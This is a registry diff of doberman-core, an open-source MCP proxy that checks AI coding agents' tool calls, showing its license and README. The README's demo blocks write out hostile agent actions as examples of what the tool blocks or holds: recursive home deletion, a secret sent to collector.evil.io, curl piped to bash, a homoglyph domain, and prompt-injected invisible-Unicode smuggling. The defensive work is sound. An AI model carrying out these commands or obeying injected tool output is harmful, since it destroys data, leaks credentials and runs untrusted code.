doberman-core 0.11.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- doberman_core-0.11.0/.gitignore +23 -0
- doberman_core-0.11.0/LICENSE +202 -0
- doberman_core-0.11.0/PKG-INFO +320 -0
- doberman_core-0.11.0/README.md +286 -0
- doberman_core-0.11.0/pyproject.toml +97 -0
- doberman_core-0.11.0/src/doberman/__init__.py +3 -0
- doberman_core-0.11.0/src/doberman/auth/__init__.py +11 -0
- doberman_core-0.11.0/src/doberman/auth/challenge.py +144 -0
- doberman_core-0.11.0/src/doberman/auth/elevation.py +115 -0
- doberman_core-0.11.0/src/doberman/auth/elicitation_prompter.py +131 -0
- doberman_core-0.11.0/src/doberman/auth/gui_prompter.py +325 -0
- doberman_core-0.11.0/src/doberman/auth/provider.py +156 -0
- doberman_core-0.11.0/src/doberman/auth/totp.py +144 -0
- doberman_core-0.11.0/src/doberman/auth/tty_prompter.py +82 -0
- doberman_core-0.11.0/src/doberman/canonical.py +121 -0
- doberman_core-0.11.0/src/doberman/cli/__init__.py +1 -0
- doberman_core-0.11.0/src/doberman/cli/main.py +313 -0
- doberman_core-0.11.0/src/doberman/config.py +166 -0
- doberman_core-0.11.0/src/doberman/discovery/__init__.py +7 -0
- doberman_core-0.11.0/src/doberman/discovery/scan.py +242 -0
- doberman_core-0.11.0/src/doberman/engine/__init__.py +1 -0
- doberman_core-0.11.0/src/doberman/engine/decision_engine.py +216 -0
- doberman_core-0.11.0/src/doberman/engine/detectors/__init__.py +23 -0
- doberman_core-0.11.0/src/doberman/engine/detectors/token_channels.py +111 -0
- doberman_core-0.11.0/src/doberman/engine/objective.py +101 -0
- doberman_core-0.11.0/src/doberman/engine/registry.py +277 -0
- doberman_core-0.11.0/src/doberman/engine/rules/__init__.py +46 -0
- doberman_core-0.11.0/src/doberman/engine/rules/commands.py +371 -0
- doberman_core-0.11.0/src/doberman/engine/rules/destinations.py +182 -0
- doberman_core-0.11.0/src/doberman/engine/rules/paths.py +190 -0
- doberman_core-0.11.0/src/doberman/engine/rules/policy_source.py +107 -0
- doberman_core-0.11.0/src/doberman/engine/rules/role_boundary.py +141 -0
- doberman_core-0.11.0/src/doberman/engine/rules/secrets.py +404 -0
- doberman_core-0.11.0/src/doberman/engine/rules/token_channels.py +103 -0
- doberman_core-0.11.0/src/doberman/engine/subjective.py +122 -0
- doberman_core-0.11.0/src/doberman/learning/__init__.py +1 -0
- doberman_core-0.11.0/src/doberman/learning/baseline.py +156 -0
- doberman_core-0.11.0/src/doberman/models.py +254 -0
- doberman_core-0.11.0/src/doberman/policy/__init__.py +1 -0
- doberman_core-0.11.0/src/doberman/policy/checklist.py +221 -0
- doberman_core-0.11.0/src/doberman/policy/drift.py +310 -0
- doberman_core-0.11.0/src/doberman/policy/modes.py +121 -0
- doberman_core-0.11.0/src/doberman/policy/sources.py +182 -0
- doberman_core-0.11.0/src/doberman/proxy/__init__.py +1 -0
- doberman_core-0.11.0/src/doberman/proxy/executor.py +336 -0
- doberman_core-0.11.0/src/doberman/proxy/interception_log.py +49 -0
- doberman_core-0.11.0/src/doberman/proxy/mcp_proxy.py +55 -0
- doberman_core-0.11.0/src/doberman/proxy/normalize.py +155 -0
- doberman_core-0.11.0/src/doberman/proxy/serve.py +62 -0
- doberman_core-0.11.0/src/doberman/roles/__init__.py +1 -0
- doberman_core-0.11.0/src/doberman/roles/builtin_roles.yaml +109 -0
- doberman_core-0.11.0/src/doberman/roles/roles.py +166 -0
- doberman_core-0.11.0/src/doberman/storage/__init__.py +1 -0
- doberman_core-0.11.0/src/doberman/storage/db.py +254 -0
- doberman_core-0.11.0/src/doberman/storage/fingerprint.py +135 -0
- doberman_core-0.11.0/src/doberman/storage/log.py +224 -0
- doberman_core-0.11.0/src/doberman/storage/sinks.py +57 -0
- doberman_core-0.11.0/src/doberman/tokens.py +584 -0
- doberman_core-0.11.0/tests/__init__.py +0 -0
- doberman_core-0.11.0/tests/benchmarks/README.md +215 -0
- doberman_core-0.11.0/tests/benchmarks/__init__.py +40 -0
- doberman_core-0.11.0/tests/benchmarks/adapter.py +77 -0
- doberman_core-0.11.0/tests/benchmarks/mapping.py +50 -0
- doberman_core-0.11.0/tests/benchmarks/metrics.py +151 -0
- doberman_core-0.11.0/tests/benchmarks/profiles.py +52 -0
- doberman_core-0.11.0/tests/benchmarks/run.py +54 -0
- doberman_core-0.11.0/tests/benchmarks/runner.py +119 -0
- doberman_core-0.11.0/tests/benchmarks/suites/__init__.py +21 -0
- doberman_core-0.11.0/tests/benchmarks/suites/agentdojo.py +236 -0
- doberman_core-0.11.0/tests/benchmarks/suites/synthetic.py +100 -0
- doberman_core-0.11.0/tests/conftest.py +59 -0
- doberman_core-0.11.0/tests/fixtures/__init__.py +0 -0
- doberman_core-0.11.0/tests/fixtures/fake_tool_server.py +83 -0
- doberman_core-0.11.0/tests/fixtures/stdio_tool_server.py +109 -0
- doberman_core-0.11.0/tests/integration/__init__.py +0 -0
- doberman_core-0.11.0/tests/integration/test_auth_release.py +182 -0
- doberman_core-0.11.0/tests/integration/test_benchmark_synthetic_gate.py +68 -0
- doberman_core-0.11.0/tests/integration/test_challenge_flow.py +113 -0
- doberman_core-0.11.0/tests/integration/test_cli_auth.py +63 -0
- doberman_core-0.11.0/tests/integration/test_cli_views.py +80 -0
- doberman_core-0.11.0/tests/integration/test_decision_log.py +77 -0
- doberman_core-0.11.0/tests/integration/test_drift_gate.py +116 -0
- doberman_core-0.11.0/tests/integration/test_engine_blocks_reach_no_tool.py +138 -0
- doberman_core-0.11.0/tests/integration/test_interception_log.py +95 -0
- doberman_core-0.11.0/tests/integration/test_objective_demo.py +91 -0
- doberman_core-0.11.0/tests/integration/test_policy_ledger.py +66 -0
- doberman_core-0.11.0/tests/integration/test_policy_review.py +68 -0
- doberman_core-0.11.0/tests/integration/test_proxy_passthrough.py +151 -0
- doberman_core-0.11.0/tests/integration/test_serve_end_to_end.py +84 -0
- doberman_core-0.11.0/tests/integration/test_subjective_escalation.py +53 -0
- doberman_core-0.11.0/tests/unit/__init__.py +0 -0
- doberman_core-0.11.0/tests/unit/test_audit_sink.py +96 -0
- doberman_core-0.11.0/tests/unit/test_auth_provider.py +155 -0
- doberman_core-0.11.0/tests/unit/test_auth_tier.py +89 -0
- doberman_core-0.11.0/tests/unit/test_baseline.py +125 -0
- doberman_core-0.11.0/tests/unit/test_benchmark_agentdojo.py +206 -0
- doberman_core-0.11.0/tests/unit/test_benchmark_harness.py +153 -0
- doberman_core-0.11.0/tests/unit/test_canonical.py +108 -0
- doberman_core-0.11.0/tests/unit/test_checklist.py +71 -0
- doberman_core-0.11.0/tests/unit/test_core_is_standalone.py +98 -0
- doberman_core-0.11.0/tests/unit/test_db_schema.py +82 -0
- doberman_core-0.11.0/tests/unit/test_decision_models.py +180 -0
- doberman_core-0.11.0/tests/unit/test_detector_token_channels.py +116 -0
- doberman_core-0.11.0/tests/unit/test_discovery_scan.py +74 -0
- doberman_core-0.11.0/tests/unit/test_drift_classify.py +46 -0
- doberman_core-0.11.0/tests/unit/test_drift_observer.py +94 -0
- doberman_core-0.11.0/tests/unit/test_elevation.py +112 -0
- doberman_core-0.11.0/tests/unit/test_elicitation_prompter.py +276 -0
- doberman_core-0.11.0/tests/unit/test_encoded_exfil.py +126 -0
- doberman_core-0.11.0/tests/unit/test_execution_rule.py +206 -0
- doberman_core-0.11.0/tests/unit/test_fingerprint.py +138 -0
- doberman_core-0.11.0/tests/unit/test_gui_prompter.py +394 -0
- doberman_core-0.11.0/tests/unit/test_models.py +154 -0
- doberman_core-0.11.0/tests/unit/test_modes.py +83 -0
- doberman_core-0.11.0/tests/unit/test_normalize.py +169 -0
- doberman_core-0.11.0/tests/unit/test_objective_guardrail.py +161 -0
- doberman_core-0.11.0/tests/unit/test_policy_sources.py +165 -0
- doberman_core-0.11.0/tests/unit/test_registry.py +201 -0
- doberman_core-0.11.0/tests/unit/test_risk_map.py +68 -0
- doberman_core-0.11.0/tests/unit/test_role_elevation_satisfies.py +67 -0
- doberman_core-0.11.0/tests/unit/test_role_escalation.py +94 -0
- doberman_core-0.11.0/tests/unit/test_role_matcher.py +52 -0
- doberman_core-0.11.0/tests/unit/test_roles_schema.py +97 -0
- doberman_core-0.11.0/tests/unit/test_rule_commands.py +179 -0
- doberman_core-0.11.0/tests/unit/test_rule_destinations.py +176 -0
- doberman_core-0.11.0/tests/unit/test_rule_paths.py +141 -0
- doberman_core-0.11.0/tests/unit/test_rule_paths_control_plane.py +103 -0
- doberman_core-0.11.0/tests/unit/test_rule_secrets.py +175 -0
- doberman_core-0.11.0/tests/unit/test_rule_token_channels.py +107 -0
- doberman_core-0.11.0/tests/unit/test_serve.py +184 -0
- doberman_core-0.11.0/tests/unit/test_subjective_guardrail.py +101 -0
- doberman_core-0.11.0/tests/unit/test_tokens_scanner.py +174 -0
- doberman_core-0.11.0/tests/unit/test_totp.py +71 -0
- doberman_core-0.11.0/tests/unit/test_tty_prompter.py +157 -0
- doberman_core-0.11.0/tests/unit/test_verdict_ordering.py +142 -0
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
.doberman/
|
|
2
|
+
*.db
|
|
3
|
+
*.sqlite
|
|
4
|
+
*.sqlite3
|
|
5
|
+
*.key
|
|
6
|
+
.env
|
|
7
|
+
.env.*
|
|
8
|
+
__pycache__/
|
|
9
|
+
*.py[cod]
|
|
10
|
+
.venv/
|
|
11
|
+
.pytest_cache/
|
|
12
|
+
.ruff_cache/
|
|
13
|
+
.coverage
|
|
14
|
+
htmlcov/
|
|
15
|
+
dist/
|
|
16
|
+
build/
|
|
17
|
+
*.egg-info/
|
|
18
|
+
|
|
19
|
+
# Development plans: local-only, never published.
|
|
20
|
+
# (The operating manual — CLAUDE.md / AGENTS.md — is published; these detailed plans are not.)
|
|
21
|
+
doberman_core_plan.md
|
|
22
|
+
doberman_enterprise_plan.md
|
|
23
|
+
doberman_implementation_plan.md
|
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding those notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. We also recommend that a
|
|
186
|
+
file or class name and description of purpose be included on the
|
|
187
|
+
same "printed page" as the copyright notice for easier
|
|
188
|
+
identification within third-party archives.
|
|
189
|
+
|
|
190
|
+
Copyright [yyyy] [name of copyright owner]
|
|
191
|
+
|
|
192
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
193
|
+
you may not use this file except in compliance with the License.
|
|
194
|
+
You may obtain a copy of the License at
|
|
195
|
+
|
|
196
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
197
|
+
|
|
198
|
+
Unless required by applicable law or agreed to in writing, software
|
|
199
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
200
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
201
|
+
See the License for the specific language governing permissions and
|
|
202
|
+
limitations under the License.
|
|
@@ -0,0 +1,320 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: doberman-core
|
|
3
|
+
Version: 0.11.0
|
|
4
|
+
Summary: Adaptive authorization layer for coding agents (open core)
|
|
5
|
+
Project-URL: Homepage, https://github.com/fu351/Doberman-Core
|
|
6
|
+
Project-URL: Repository, https://github.com/fu351/Doberman-Core
|
|
7
|
+
Project-URL: Issues, https://github.com/fu351/Doberman-Core/issues
|
|
8
|
+
Author: fu351
|
|
9
|
+
License-Expression: Apache-2.0
|
|
10
|
+
License-File: LICENSE
|
|
11
|
+
Keywords: agent-security,ai-agents,authorization,guardrails,llm,mcp,security
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: Operating System :: OS Independent
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
18
|
+
Classifier: Topic :: Security
|
|
19
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
20
|
+
Requires-Python: >=3.11
|
|
21
|
+
Requires-Dist: aiosqlite
|
|
22
|
+
Requires-Dist: mcp<2,>=1.27
|
|
23
|
+
Requires-Dist: pydantic>=2
|
|
24
|
+
Requires-Dist: pyotp
|
|
25
|
+
Requires-Dist: pyyaml
|
|
26
|
+
Requires-Dist: typer
|
|
27
|
+
Provides-Extra: dev
|
|
28
|
+
Requires-Dist: import-linter; extra == 'dev'
|
|
29
|
+
Requires-Dist: pytest; extra == 'dev'
|
|
30
|
+
Requires-Dist: pytest-asyncio; extra == 'dev'
|
|
31
|
+
Requires-Dist: pytest-cov; extra == 'dev'
|
|
32
|
+
Requires-Dist: ruff; extra == 'dev'
|
|
33
|
+
Description-Content-Type: text/markdown
|
|
34
|
+
|
|
35
|
+
<div align="center">
|
|
36
|
+
|
|
37
|
+
# 🐕 Doberman
|
|
38
|
+
|
|
39
|
+
**Adaptive Authorization & Runtime Guardrails for AI Coding Agents**
|
|
40
|
+
|
|
41
|
+
[](https://github.com/fu351/Doberman-Core/actions/workflows/ci.yml)
|
|
42
|
+
[](./LICENSE)
|
|
43
|
+
[](https://www.python.org/downloads/)
|
|
44
|
+
[](#roadmap)
|
|
45
|
+
|
|
46
|
+
**Doberman is an open-source AI agent security layer that intercepts every tool call your AI agent makes and returns PASS / AUTH / BLOCK — before anything executes.**
|
|
47
|
+
|
|
48
|
+
</div>
|
|
49
|
+
|
|
50
|
+
> If it isn't on the execution path, it's advisory, not protective.
|
|
51
|
+
|
|
52
|
+
AI coding agents (Claude Code, Cursor, Codex, Copilot agents, and any **MCP-compatible agent**) can read files, run shell commands, and call external APIs autonomously. Doberman sits *between the agent and its tools* as a transparent **MCP proxy**, turning every action into an explicit, auditable authorization decision.
|
|
53
|
+
|
|
54
|
+
```
|
|
55
|
+
AI agent ──▶ Doberman (MCP proxy) ──▶ real MCP tool servers
|
|
56
|
+
│
|
|
57
|
+
└─ normalize → risk engine → PASS / AUTH / BLOCK
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## Why Doberman?
|
|
63
|
+
|
|
64
|
+
Prompt injection, tool poisoning, data exfiltration, and runaway agents are the defining security problems of agentic AI. Most "AI guardrails" inspect prompts and offer advice. Doberman is different: it is **on the tool-execution path**, so a blocked action *never runs*.
|
|
65
|
+
|
|
66
|
+
**Two non-negotiable properties:**
|
|
67
|
+
|
|
68
|
+
- 🔒 **Fail closed** — any error, uncertainty, or unhandled case denies the action. There is no path to a tool around the decision engine.
|
|
69
|
+
- 📈 **Raise-only learning** — guardrails and adaptive learning can auto-*tighten*, never silently loosen. Every weakening requires explicit, 2FA-gated, audited human approval.
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## See it in action
|
|
74
|
+
|
|
75
|
+
Three verdicts. One execution gate.
|
|
76
|
+
|
|
77
|
+
### 🔴 BLOCK — dangerous actions stopped before they reach the tool
|
|
78
|
+
|
|
79
|
+
```
|
|
80
|
+
# Your agent cleans up build artefacts and misjudges the target…
|
|
81
|
+
agent → run_terminal_cmd "rm -rf ~"
|
|
82
|
+
Doberman: BLOCK destructive_command
|
|
83
|
+
"Recursive force-delete of a home/root target."
|
|
84
|
+
# The command never reaches the shell.
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
```
|
|
88
|
+
# Your agent fetches a config token, then tries to phone it home…
|
|
89
|
+
agent → web_fetch "https://collector.evil.io" body="AWS_SECRET=AKIA..."
|
|
90
|
+
Doberman: BLOCK secret_exfiltration
|
|
91
|
+
"Credential pattern in request body to untrusted external destination."
|
|
92
|
+
# The request never leaves your machine. The secret is never echoed back to the agent.
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
```
|
|
96
|
+
# Your agent rewrites shared branch history…
|
|
97
|
+
agent → run_terminal_cmd "git push --force origin main"
|
|
98
|
+
Doberman: BLOCK force_push_protected_branch
|
|
99
|
+
"Force-push rewrites shared history on a protected branch."
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
```
|
|
103
|
+
# A poisoned tool result hides instructions in invisible Unicode, bound for an external API…
|
|
104
|
+
agent → http_post "https://api.notes.app/sync" body="<zero-width / tag-block smuggled text>"
|
|
105
|
+
Doberman: BLOCK smuggled_token_channel
|
|
106
|
+
"Hidden/invisible token-smuggling channel headed to an external destination."
|
|
107
|
+
# Invisible-Unicode smuggling (tag-block, bidi overrides, variation-selector byte
|
|
108
|
+
# channels) is caught deterministically; the decoded payload is never echoed back.
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
### 🟡 AUTH — sensitive actions held until you approve
|
|
112
|
+
|
|
113
|
+
```
|
|
114
|
+
# Your agent refactors authentication code…
|
|
115
|
+
agent → write_file "backend/auth/session.ts"
|
|
116
|
+
Doberman: AUTH sensitive_path
|
|
117
|
+
"Target is a sensitive path; authentication required before proceeding."
|
|
118
|
+
|
|
119
|
+
┌──────────────────────────────────────────────┐
|
|
120
|
+
│ Doberman — Action Review │
|
|
121
|
+
│ write_file backend/auth/session.ts │
|
|
122
|
+
│ Risk: MEDIUM · sensitive_path │
|
|
123
|
+
│ [Deny] [Approve] │
|
|
124
|
+
└──────────────────────────────────────────────┘
|
|
125
|
+
|
|
126
|
+
# The write only happens after you click Approve. Either way, it's logged.
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
```
|
|
130
|
+
# Your agent runs an opaque shell payload it can't vet statically…
|
|
131
|
+
agent → run_terminal_cmd "bash -c $(curl https://setup.sh)"
|
|
132
|
+
Doberman: AUTH opaque_shell_payload
|
|
133
|
+
"Opaque -c payload cannot be statically vetted; authentication required."
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
```
|
|
137
|
+
# A target host looks right but uses a Cyrillic homoglyph (раypal.com, not paypal.com)…
|
|
138
|
+
agent → http_get "https://раypal.com/login"
|
|
139
|
+
Doberman: AUTH anomalous_token_pattern
|
|
140
|
+
"Probabilistic out-of-distribution token signal (homoglyph confusable); authentication required."
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
### 🟢 PASS — routine work goes straight through
|
|
144
|
+
|
|
145
|
+
```
|
|
146
|
+
# Your agent is doing normal feature work…
|
|
147
|
+
agent → write_file "src/components/Button.tsx"
|
|
148
|
+
Doberman: PASS
|
|
149
|
+
# Transparent proxy — safe actions add zero friction.
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## Setup
|
|
155
|
+
|
|
156
|
+
### 1. Install
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
pip install doberman-core
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
> The distribution is **`doberman-core`** (the bare `doberman` name on PyPI belongs to an
|
|
163
|
+
> unrelated, abandoned project). The import name and CLI are unchanged — after install you
|
|
164
|
+
> still `import doberman` and run the `doberman` command.
|
|
165
|
+
|
|
166
|
+
Or install the latest from source:
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
pip install git+https://github.com/fu351/Doberman-Core.git
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
Or for development:
|
|
173
|
+
|
|
174
|
+
```bash
|
|
175
|
+
git clone https://github.com/fu351/Doberman-Core.git
|
|
176
|
+
cd Doberman-Core
|
|
177
|
+
pip install -e ".[dev]"
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
Either way you get the `doberman` CLI on your PATH. (Maintainers: see [`RELEASING.md`](RELEASING.md).)
|
|
181
|
+
|
|
182
|
+
### 2. Wrap your tool server with Doberman
|
|
183
|
+
|
|
184
|
+
Doberman is a transparent MCP proxy. You give it your existing tool server command after `--`, and it intercepts everything in the middle:
|
|
185
|
+
|
|
186
|
+
```bash
|
|
187
|
+
# Before — agent talks directly to your tool server:
|
|
188
|
+
npx -y @modelcontextprotocol/server-filesystem ~/my-project
|
